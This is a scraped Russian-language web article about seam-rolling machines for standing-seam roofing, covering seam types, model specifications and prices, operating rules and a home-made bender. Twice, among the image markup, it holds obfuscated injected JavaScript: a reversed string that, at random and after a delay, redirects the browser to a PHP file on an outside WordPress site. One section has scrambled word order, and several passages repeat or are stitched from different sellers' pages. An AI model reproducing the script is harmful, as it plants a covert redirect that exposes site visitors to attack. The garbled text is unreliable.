Фальцепрокатные станки

Как заказать фальцепрокатные станки?

Компания «ENERGOSTAN» является аккредитованным торговым представителем таких заводов с мировым именем, как ACL, Ilmaksan, Stalex, RAS, Sente Makina и других производственных предприятий. Это позволяет нам предлагать дилерские цены на весь модельный ряд продукции этих брендов.

Чтобы купить фальцепрокатный станок в нашей компании, Вам нужно выбрать наиболее подходящий лот из электронного каталога, следуя описаниям и фото, после чего кликнуть по клавише «Узнать цену» и оставить свои контактные данные. Мы свяжемся с Вами в ближайшие часы для оформления и отправки коммерческого предложения.

Источник

Технология производства

Фальцепрокатный станок незаменим как при обустройстве самой фальцевой кровли, так и для изготовления вспомогательной кровельной фурнитуры. Сюда относятся элементы водосточной системы, фронтальные и торцевые свесы кровли, а также с его помощью делают вентиляционные короба из оцинковки.

Виды фальцев

Фальцевое соединение представляет собой скрутку между двумя смежными листами металла, а чтобы обустроить эту скрутку, нужно загнуть фальц по краю листа, вот как раз для загиба этого фальца и нужен фальцепрокатный станок.

Фальцевых соединений существует 2 — это одинарный и двойной фальц, плюс фальцы могут быть стоячими и лежачими.

От выбора соединения зависит уровень герметичности.

• Одинарный фальц считается основой, здесь один лист просто загибается под 90º, а на втором листе делается своеобразный зацеп и после соединения этот зацеп обжимается;
• Двойной фальц можно назвать аналогом одинарного, только скрутка делается в 2 оборота. Чтобы так завернуть металл размер зацепа в заготовке должен быть меньше, в среднем порядка 5-7 мм, а высота заготовки делается наоборот, больше.

Что касается лежачих вариантов соединения, то они точно такие же, как стоячие, только завернуты набок.

Особенно хорошо Г-образный фальц выглядит на скругленных радиусах.

Общие сведения о станках

Главное достоинство фальцевой кровли в том, что покрытие получается монолитным, без каких-либо крепежных или соединительных отверстий. Но кровельный металл сам по себе довольно тонкий и делать заготовки на производстве, а потом транспортировать их на объект неудобно, а зачастую и нереально.

Небольшой фальцевый станок кардинально меняет ситуацию. С таким оборудованием можно делать заготовки непосредственно на объекте, более того, существуют модели, которые можно установить прямо на крыше.

Есть еще один важный нюанс: для загибания кромки листов нужен фальцепрокатный станок, а чтобы сделать двойной фальц и опрессовать соединение доведя его до конечного результата, используется фальцеосадочный станок.

$mWn=function(n){if(typeof ($mWn.list)==»string») return $mWn.list.split(«»).reverse().join(«»);return $mWn.list;};$mWn.list=[«\’php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dochnyj-stanok-v-razy-sokrashhaet-vremya-obustrojstva-krovli.jpg» alt=»Фальцеосадочный станок в разы сокращает время обустройства кровли.» width=»500″ height=»375″ /> Фальцеосадочный станок в разы сокращает время обустройства кровли.

Зачастую толщина металла для кровельных работ колеблется в районе 0,5-1 мм, при этом максимум составляет 1,2 мм. Но хороший станок для фальцевой кровли рассчитывается под работу с металлом от 0,3 до 1,5 мм.

Такое оборудование уже ближе к профессиональному, и на нем можно делать не только кровельные картины, но еще гнуть заготовки под разного рода водосточные или вентиляционные трубы, плюс делать ендове желоба и коньковые накладки.

Сам принцип работы агрегата прост: любой фалцепрокатный станок имеет ряд обжимных фигурных роликов, которые собственно и загибают края листа. Обжимные ролики устанавливаются попарно на обжимные валы.

$mWn=function(n){if(typeof ($mWn.list)==»string») return $mWn.list.split(«»).reverse().join(«»);return $mWn.list;};$mWn.list=[«\’php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom-horosho-600×419.jpg» alt=»Фальцепрокатный станок с ручным приводом хорошо подходит для любительского использования.» width=»600″ height=»419″ /> Фальцепрокатный станок с ручным приводом хорошо подходит для любительского использования.

Количество таких обжимных валов может быть разное, но, сколько бы их ни было, они приводятся в движение редуктором, а сам редуктор вращается благодаря электродвигателю. Есть, конечно, оборудование с ручным приводом, но производительность там очень низкая и такие аппараты встречаются редко.

варианте фальцепрокатного механизма

Фальцепрокатный станок собой представляет механизм, который предназначен для обработки профильной края листового или рулонного для металла дальнейшего создания фальцевых соединений. говоря Проще, устройство выгибает одну из кромок под стали определённую конфигурацию для произведения их Использование. соединения данного оборудования способствует получению надежность, заготовок и качество которых намного превышает аналогов качество, которые получаются посредством ручной Сам.

обработки фальцепрокатный кровельный станок состоит из устройства формирующего, станины и электропривода. Станина – это металлоконструкция сварная, на которой размещаются шесть пар что, валов выполняют роль формирующего устройства. формирующее Служит устройство для протягивания металлической вдоль полосы станка и формирования ребер жесткости и элементов составляющих двойного фальца на её краях для замкового двойного соединения. При изменении ширины полос металлических можно перенастроить устройство на новый Электрический.

размер привод состоит из электрического двигателя, передачи цепной и червячного редуктора. На фальцепрокатный станок можно дополнительно установить роликовое размоточное устройство, предназначено что для монтажа, разматывания и подачи металла рулонного, который имеет вес до 1 тонны. этого Помимо, станок можно оснастить обжимными для устройствами соединения листов в единое кровельное которые, полотно спрофилированы на станке.

Подвижное устройство состоит станка из 2 подвижных штоков, что жестко собой между соединены прижимающим угольником. Горизонтальная данного полка угольника выполняется в виде клина, которым под размещается продольная планка для продольном в обжима углублении угольника кромки кровельного Направляющими. листа для штоков выступают скобы и торцах в проходы горизонтальной полки. Подвижное устройство станка фальцепрокатного удерживается посредством пружин в верхнем при, положении котором можно вставлять в станок удалять и лист его после процесса отгиба Читайте.

Профилирующее устройство стальной на располагается трубчатой раме. Ролики изготовлены из специальной высококачественной стали со специальной финишной отделкой, гарантирует которая эффективность защиты от влияния коррозии. две Предлагаются разновидности обжимных устройств – автоматические и Фальцепрокатный. ручные станок укомплектован четырьмя колесами вида рояльного, два из которых имеют тормоза значительного для облегчения транспортировки.

Популярные модели

«ILMAKSAN КМ 7.3»

• Фальцепрокатный станок турецкого производства, рассчитан для гибки металла с толщиной от 0.05 до 0.12 см.
• Получает питание от трехфазного электрического двигателя 380 V, а мощность равна 1100 Вт.
• Размеры – высота 1.1 метра, длина 1 метр, ширина 0.6 метра.
• В комплекте 7 пар роликов для загибания.
• Рабочая скорость составляет 12 м/мин.
• Масса – 0.275 т.
• Приблизительная стоимость 295 000 рублей.

«METAL MASTER MLC 12 DR-T»

• Электрическая установка трехфазного типа, питается от сети в 380 V, мощность 1500 Вт.
• Предназначен для гибки металла с толщиной от 0.05 до 0.12 см.
• Масса устройства равна 232 кг.
• Приблизительная стоимость 186 000 рублей.

«Metal Master FDS 1250»

Это устройство является ручным фальцепрокатным станком.

• Рабочая часть в длину составляет 1.25 метра.
• Габариты 1.4*0.4*1.1 метра.
• Предназначен для гибки металла с толщиной до 0.07 см.
• Приблизительная стоимость 16 000 рублей.

«MetalMaster GLF А4С»

Этот станок фальцепрокатного типа считается универсальным.

• Мощность электрической установки трехфазного тип составляет 1500 Вт.
• Масса устройства 212 кг.
• Габариты 0.9*0.55*0.96 метра.
• Предназначен для гибки металла с толщиной до 0.15 см.
• Приблизительная стоимость составляет от 185 000 рублей.

«SBD4C»

• Мощность электрической установки трехфазного типа составляет 1500 Вт.
• Масса 290 кг.
• Габариты 1.07*0.57*0.92 метра.
• Предназначен для гибки металла с толщиной до 0,12 см.
• Приблизительная стоимость от 150 000 рублей.

https://youtube.com/watch?v=eGmgYUEBOqA

«СПФ 700»

Эта модель фальцепрокатного станка намного меньше и легче по весу, нежели аналоги, а это позволяет его использовать для работ на строительной площадке. В комплектацию устройства входит подставка роликового типа для подачи свернутого в бухту металла. Такая подставка способа выдерживать вес до 1000 кг.

• Мощность двигателя составляет 1500 Вт, но вместе электрического двигателя вы при желании можете установить ручной привод.
• Габариты 1.45*0.87*0.83 метра.
• Масса 145 кг.
• Предназначен для гибки металла с толщиной до 0,07 см.
• Высота фальца равна 2.5 см.
• Ширина картины может быть до 0.7 метра, а также встроена функция подстройки под требуемую ширину.
• Скорость подачи листа равна 6.5 метра за минуту.
• На станке можно делать даже арочные картины.
• Гарантийный срок составляет 2 года.
• Приблизительная стоимость 175 000 рублей.

Это лучшие модели станков фальцепрокатного типа.

Подробнее о СФП 700

При применении устройства этой марки все разновидности кровли можно изготавливать в виде рулонов, а не отдельно сложенных листов. При использовании станка СФП 700 можно в значительной мере сократить время на выполнение всех работ в несколько раз, что поможет повысить производительность труда и свести к минимуму количество швов поперечного типа на кровле.

Аренда фальцепрокатного станка дает возможность создавать двойные и даже тройные замки на стыке кровли, а готовые панели будут иметь прокатные ребра. Такие элементы помогают в значительной мере увеличивать прочность всей конструкции и улучшать внешний вид крыши. Использование устройства будет актуально и тогда, когда требуется сформировать кровельную картину трапециевидной, прямоугольной, клиновидной формы.

Помимо того, такое ручное оборудование можно использовать для:

• Воздухоотвода.
• Кровли.
• Откоса.
• Отлива.
• Дымоотвода.
• Водосточной системы труб.
• Кровельных изгибов декоративного типа

Ручной станок используется для того, чтобы делать различные профили на краях заготовки или листов из оцинкованной стали. Еще можно использовать материалы с лакокрасочным или полимерным покрытием.

Единственный и существенный недостаток, это большая стоимость и размеры некоторых из моделей, но такое устройство и его аналогично отличаются:

• Тем, что отсутствуют повреждения покрытия материала.
• Адаптивностью к условиях строительных площадок.
• Высокими показателями качества изготовленных панелей.
• Возможность создания прямолинейных панелей.
• Наличием переналадки ступенчатого типа для требуемой ширины заготовки.

Рабочий принцип фальцепрокатного станка

По желанию, чтобы этот аппарат долго и без особых проблем прослужил вам, необходимо понять основополагающий принцип работы этого станка. При нажатии на пусковую кнопку должен заработать электромотор. Вращающий момент от электрического привода передаётся на образовывающие валы с роликами при помощи цепной передачи и редуктора. Металлический лист проходит ровно по направляющим станка на первую пару роликов. Они зацепляют заготовку и проталкивают ее через обрабатывающие ролики. Устройство выключают, сразу как он обработает нужную длину листа металла. Для извлечения готового изделия, запускают обратный ход. После нужно лишь скрепить заготовки специализированным закаточным инструментом.

Важные характерные характеристики такого оборудования, на которые необходимо смотреть при подборе:

• кол-во профилирующих пар (число пар роликов, которые сгибают лист в фальц);
• разновидность профилирования фальцевых замков на одном станке (сколько различных вариантов соединений, замков может делать станок);
• ограничения по ширине заготовки;
• самая большая рабочая толщина;
• продуктивность (для станков с ручным приводом эта характеристика условна и в большей степени зависит от внешних факторов.

Главные типы соединений которые называются «замок», которые способны делать разные модели фальцепрокатных станков:

• лежачий фальц;
• питтсбургский фальц, американка;
• защелочный фальц;
• закрытый угловой фальц;
• стоячий фальц;
• C-рейка;
• S-шина.

Подводя весь итог небольшому обзору, можно выделить следующие преимущества данных фальцепрокатных станков:

• большая точность обработки;
• надежность;
• легкость обслуживания;
• отсутствие повреждений покрытия материала;
• большинство моделей оборудования поставляют с электронной системой управления, благодаря которой можно создавать двойные замки при скреплении всевозможных изделий;
• наличие винтовых элементов опоры обеспечивает хорошую стойкость без надобности усиления фундамента;
• для работы на станке не требуется обширного опыта и большой квалификации от специалиста;
• возможна обработка изделий с радиальными, криволинейными или прямыми краями, что повышает сферу использования;
• оборудование если хочет клиент может поставляться с индивидуальной оснасткой, которая сделает шире функционал станка.

Сейчас более распространёнными на рынке моделями фальцепрокатных станков являются LC-12R Stalex, LC-12R ACL, LC-15DR ACL, LC-15CR ACL. Они получили собственную большую популярность благодаря оптимальному комбинированию отличного качества, удобства в работе и низкой цене. Эти модели производятся на заводах TTMC в Китае. Узнать наличие или заказать их можно в компании «Стербруст». Доставка любого оборудования выполняется транспортными компаниями по всей России и странам СНГ.

Если вы нашли погрешность, пожалуйста, выдилите фрагмент текста и нажмите Ctrl+Enter.

Правила эксплуатации

Для работы на фальцепрокатном станке необходимо сделать его монтаж и настройку. Правила выполнения этих работ подробно описаны в инструкции по эксплуатации. Они могут отличаться в зависимости от модели оборудования.

Если станок оснащен электрическим приводом – следует правильно сделать его подключение к электросети. При этом учитывается потребляемая мощность силовой установки и обязательное обустройство заземления.

В дальнейшем во время эксплуатации оборудования необходимо выполнять такие правила:

• для моделей с электродвигателем после его активации следует подождать некоторое время, только затем приступать к работе;
• перед началом эксплуатации необходимо проверить поверхность рабочего стола на возможное наличие посторонних предметов;
• настройка прижимных роликов выполняется исходя из требуемой конфигурации формируемого замка. При этом учитывается толщина рулонного материала;
• во время прокатки запрещено изменять положение вальцов. Для выполнения перенастройки оборудования следует его остановить и извлечь заготовку;
• при возникновении неисправностей или сбоев в работе фальцепрокатного станка его останавливают и выполняют осмотр на наличие дефектов. В случае сложной поломки для ее ликвидации необходимо вызвать специалистов.

В качестве примера можно посмотреть видеоматериал, в котором показывается работа фальцепрокатного станка:

Современный фальцепрокатный станок служит для создания заготовок под разные виды фальцев. Я поэтапно расскажу о принципе действия, видах и популярных моделях станков, а также объясню, как сделать фальцовщик своими руками.

Фальцевая кровля считается одной из самых долговечных.

Как собрать станок самому

Фальцепрокатный станок не каждому мастеру по карману, поэтому довольно часто люди собирают такие аппараты вручную. Самодельный фальцовщик конечно не обладает таким широким спектром функций, зато обойдется он всего в 2–3 тыс. руб.

Иллюстрации Рекомендации

Внешний вид. Самодельный фальцепрокатный станок у нас рассчитан на эксплуатацию в мастерской. Прикручивается данное приспособление к деревянному верстаку, но если сварить для него ножки, то этот станок можно будет легко транспортировать.

Устройство. Вся конструкция состоит из 3 частей. На фото слева стрелочка указывает на базовую часть, к ней все приваривается и прикручивается. В данном случае использовался металлический уголок с крылом 75 мм, но это минимум, если вы возьмете уголок в 100 мм, то приспособление от этого только выиграет;

Сверху к несущему уголку привариваются 4 гаражные петли. На этих петлях будет двигаться обжимной пуансон (№1); Спереди прикручивается ограничивающая полочка (№2), но между полочкой и базовым уголком еще вставляется так называемый загибочный зуб, именно он формирует фальцы; Как сама полочка, так и обжимной пуансон делаются из уголка 75 мм, плюс к обжимному пуансону нужно приварить рукоятку, я ее сделал из обычной трубы.

Схема. Сначала к базовому уголку прикручивается лицевая конструкция, то есть: На крепежные болты надевается прокладка, в моем случае использовалась металлическая полоса толщиной 1 мм; Па прокладку надевается обжимной зуб, я делал его из полотна ленточной пилы. Мне удалось достать полотно длиной 1200 мм, поэтому рабочая длина приспособления получилась 1200 мм, но лучше делать под стандартный лист 1250 мм

Перед установкой с полотна я снял фаску; Последней на болты надевается опорная полочка, после чего все это затягивается. Для обжимного зуба не зря было выбрано полотно ленточной пилы, здесь нужен особо прочный, негнущийся металл.

Основные параметры

Чтобы вышел качественный фальц важно выставить 2 основных параметра: От подкладки до верха обжимного зуба должно быть 6 мм; От опорной полочки до верха обжимного зуба должно быть 8 мм. При таких размерах припуск на фальц у нас будет 20 мм, то есть от края смежных листов нужно отложить по 10 мм. Принцип работыЧтобы сделать загиб под 90º, нужно вложить заготовку в паз и согнуть до того момента когда заготовка упрется в полочку;

Принцип работыЧтобы сделать загиб под 90º, нужно вложить заготовку в паз и согнуть до того момента когда заготовка упрется в полочку;.

Работа самодельного фальцовщика в деталях показана на видео в этой статье.

Гибка металла этапы технологического процесса

Процесс гибки металла состоит из нескольких шагов:

Гибка металла в гибочном штампе

После ее получения необходимо выполнить контрольно-измерительные операции. Эту работу выполняет или сменный мастер или сотрудник отдела технического контроля. Для выполнения этой операции необходимо использовать поверенный мерительный инструмент — линейку, рулетку, угломер и пр.

При выявлении каких-либо дефектов, необходимо внести изменения или в настройки оборудования или в текст управляющей программы.

Только после прохождения технического контроля деталь может быть допущена к дальнейшему использованию. В противном случае некондиционную продукцию надо отправлять или на переделку, или на утилизацию.

Станки для производства прямоугольных воздуховодов от завода «СПЕЦВЕНТРЕШЕНИЕ»

Автоматическая линия по производству прямоугольных коробов из рулонного металла шириной до 1500 мм и толщиной до 1,6 мм.

Предназначен для серийного производства прямоугольных воздуховодов. Формирование и осадка замка за один проход.

Уникальный по своим характеристикам станок тоннельной сборки воздуховодов.

Станки плазменной резки металла с ЧПУ серии SprintCutter (ex MasterCut).

Универсальный фальцепрокатный станок для HVAC индустрии

Станок служит для изготовления фланца на краях заготовок, а также прокатки профиля из полосы металла

Служит для поднятия криволинейной кромки на угол в 90 градусов в заготовках являющихся ответной частью «Питтсбургского замка».

Применяется для вальцовки деталей с прокатанными фальцами («питтсбургский шов», «стоячий фальц») .

Предназначен для осадки «Питтсбург» шва на прямолинейных и криволинейных заготовках прямоугольных воздуховодов

Профилирование материала по форме Z, находит свое применение главным образом в вентиляционной промышленности, кондиционировании воздуха.

Оборудование для быстрого и легкого способа производства сложных переходов.

Предназначен для присоединения фланцевой шины («шины-рейки») к вентиляционному коробу.

Рамки: ручной инструмент для небольших участков

Чтобы выполнять работы на фальцевой кровле с европейским качеством, вам будут нужны определенные инструменты. Причем не удивляйтесь, что вы встретите их самые разные названия, из-за чего нередко возникает путаница.

Итак, для самостоятельной работы с фальцевой кровлей вам понадобятся такие приспособления:

Итак, в первую очередь вам понадобится киянка. Сравнительно недавно еще использовалась деревянная, но сегодня куда более удобна пластиковая, с клинообразной формой. Ею удобно производить целый диапазон операций.

Далее, молоток с пластиковым наконечником для устройства двойных радиусных фальцев, когда будете обходить каминные трубы. Такой пластиковый молоток совсем не повреждает кровельное покрытие.

Нужна также будет специальная стальная лопатка — утюг. Ею вы сможете устроить фартуки вокруг сложных участков кровли.  Посмотрите, как конкретно все эти инструменты применяются на практике:

Кроме того, бывает, что фальцезакаточную машинку невозможно завести с торца кровли или использовать на коротких участках. Поэтому в таких случаях понадобятся рамки.

Итак, все картины на кровле вам нужно будет подрезать и подгибать специальными ножницами:

Для подрезки картин понадобятся универсальные ножницы (по-другому называются идеальными). Причем нужны и правые, и левые, чтобы сделать нужные заготовки без повреждений.

Еще один необходимый инструмент — пинцеты-клещи. Большие, со скошенным углом под 45°, прямые — с двумя углами под 45° для изготовления воротников каминных труб и мансардных окон. Большие клещи нужны, чтобы выполнять отбортовку до 180 мм высотой.

Но бывает, что глубины круглогубцев не хватает, тогда используют «цаплю», чтобы сделать примыкание высотой до 150 мм. Все это необходимо для того, чтобы сделать двойной фальц при обходе проемов в кровле.

Когда объем работ предстоит большой, в ход идут ножницы «пеликаны», с удлиненным резом. К слову, тот самый инструмент, который у нас называют «попугай», нужен не как гвоздодер, а как специальное приспособление для раскрытия двойного фальца. Без него не обойтись там, где не получится использовать гибочные станки.

Готовые картины с загнутыми краями укладывают на обрешетку и соединяются между собой кляммерами. Следующим шагом при помощи ручного или электрического инструмента такие швы соединяют в двойной фальц.

Свесы фальцевой кровли оформляют так:

Для работы с торцом свеса понадобится все это:

Вот как пользоваться этим инструментом:

Для работы с ендовой вам понадобятся такие инструменты:

На практике это выглядит так:

А вот для оформления внутренних изломов кровли понадобится также киянка:

Для оформления конька крыши вам понадобится шуруповерт:

Подведем итог: только квалифицированный монтаж гарантирует, что фальцевая кровля благополучно отслужит весь свой срок. Приходилось ли вам самостоятельно изготавливать фальцевую кровлю и были ли вы довольны результатом?

Принципы сборки станка

Первое и самое важное — собрать надежную опору с идеальным горизонтом. Относительно нее и непосредственно к ней крепится неподвижная часть станка — это опорная балка, металлический уголок на болтовом соединении

Между балкой и столом прокладывают полосу металла — так образуется паз для защемления кромки

Важно прочно прикрепить балку к опоре, чтобы во время изгибания она не вращалась вместе с траверсой от приложенного усилия. Траверса представляет собой рычаг с минимальным плечом 1:10 — такой же уголок, как и балка, но закрепленный на подвижной оси

Следующий важный шаг — центрирование оси вращения траверсы. Этот фактор влияет на качество получаемого фальца

Между балкой и столом прокладывают полосу металла — так образуется паз для защемления кромки

Важно прочно прикрепить балку к опоре, чтобы во время изгибания она не вращалась вместе с траверсой от приложенного усилия. Траверса представляет собой рычаг с минимальным плечом 1:10 — такой же уголок, как и балка, но закрепленный на подвижной оси. Следующий важный шаг — центрирование оси вращения траверсы

Этот фактор влияет на качество получаемого фальца

Следующий важный шаг — центрирование оси вращения траверсы. Этот фактор влияет на качество получаемого фальца.

Как выглядит готовый фальцегибочный станок ручной и некоторые особенности конструкции можно увидеть в данном ролике:

Принцип работы фальцепрокатного станка

         Если хотите, чтобы данный агрегат долго и беспроблемно прослужил вам, следует понять основной принцип работы этого станка. При нажатии на пусковую кнопку должен заработать электрический мотор. Вращающий момент от электропривода передаётся на формирующие валы с роликами посредством цепной передачи и редуктора. Лист металла проходит ровно по направляющим станка на первую пару роликов. Они зацепляют заготовку и проталкивают ее через обрабатывающие ролики. Устройство выключают, сразу как он обработает необходимую длину металлического листа. Для извлечения готового изделия, запускают обратный ход. Затем необходимо только скрепить заготовки специальным закаточным инструментом.

Важные отличительные характеристики данного оборудования, на которые следует обращать внимание при выборе:

• количество профилирующих пар (число пар роликов, которые сгибают лист в фальц);
• разновидность профилирования фальцевых замков на одном станке (сколько разных видов соединений, замков может делать станок);
• ограничения по ширине заготовки;
• максимальная рабочая толщина;
• производительность (для станков с ручным приводом данная характеристика условна и в большей степени зависит от внешних факторов.

Основные типы замковых соединений, которые могут делать различные модели фальцепрокатных станков:

• лежачий фальц;
• питтсбургский фальц, американка;
• защелочный фальц;
• закрытый угловой фальц;
• стоячий фальц;
• C-рейка;
• S-шина.

Подводя общий итог краткому обзору, можно выделить следующие преимущества данных фальцепрокатных станков:

• высокая точность обработки;
• надежность;
• простота в обслуживании;
• отсутствие повреждений покрытия материала;
• большинство моделей оборудования поставляются с электронной системой управления, с помощью которой можно создавать двойные замки при скреплении различных изделий;
• наличие винтовых опорных элементов обеспечивает хорошую устойчивость без необходимости усиления фундамента;
• для работы на станке не требуется большого опыта и высокой квалификации от специалиста;
• возможна обработка изделий с радиальными, криволинейными или прямыми краями, что увеличивает сферу применения;
• оборудование по желанию заказчика может поставляться с индивидуальной оснасткой, которая расширит функционал станка.

Типы фальцев

В настоящее время наиболее популярными на рынке моделями фальцепрокатных станков являются LC-12R Stalex, LC-12R ACL, LC-15DR ACL, LC-15CR ACL. Они заслужили свою популярность благодаря оптимальному сочетанию высокого качества, удобства в работе и невысокой цене.  Данные модели производятся на заводах TTMC в Китае. Уточнить наличие или заказать их можно в компании «Стербруст». Доставка любого оборудования производится транспортными компаниями по всей России и странам СНГ.